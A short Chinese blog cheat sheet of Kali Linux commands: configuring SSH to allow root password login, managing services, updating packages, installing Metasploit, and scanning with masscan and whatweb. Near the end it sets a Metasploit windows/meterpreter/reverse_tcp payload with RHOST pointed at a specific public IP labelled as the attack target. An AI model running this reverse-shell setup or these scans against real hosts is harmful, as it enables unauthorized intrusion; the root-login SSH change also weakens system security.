Kali常用命令整理!更新中

2019年07月10日

kali 配置SSH


修改sshd_config


vi /etc/ssh/sshd_config



将#PasswordAuthentication on 改为 yes


将PermitRootLogin without-password 改为 PermitRootLogin yes



启动ssh


/etc/init.d/ssh start

或者 

service ssh start

查看是否启动

/etc/init.d/ssh status

service ssh status


设置ssh自启动


update-rc.d ssh enable  //系统自动启动SSH服务

update-rc.d ssh disabled // 关闭系统自动启动SSH服务


groups root   //查看root 用户在那个组



apt-get update      //更新索引文件


apt-get upgrade      //更新软件包


apt-get install metasploit-framework             //更新msf



Apache卸载命令    rpm -e httpd

service httpd start    //启动服务

service httpd stop   //停止服务

service httpd restart    重新启动服务




set number   //显示行号


git clone https://github.com/xxx/xxx.git




set RHOST 222.73.236.203             //攻击IP

set LHOST 192.168.0.1                 //  本机IP 如反弹 需外网

HTTPHOST      //靶机网站地址

set payload windowds/meterpreter/reverse_tcp      设置返回载荷



masscan    


使用命令masscan -p 80, 8080 ip --rate=10000即可




whatweb www.baidu.com           //信息探测


分类:技术文章 | 标签: | 查看:929
dede主页老是被篡改Bitsadmin 命令用法

发表评论: